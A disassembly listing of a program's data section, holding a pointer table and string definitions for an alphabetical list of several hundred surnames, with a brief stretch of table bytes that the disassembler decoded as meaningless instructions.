		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh

loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh

loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl

loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------

loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------

loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------

loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------

loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp

loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------

loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
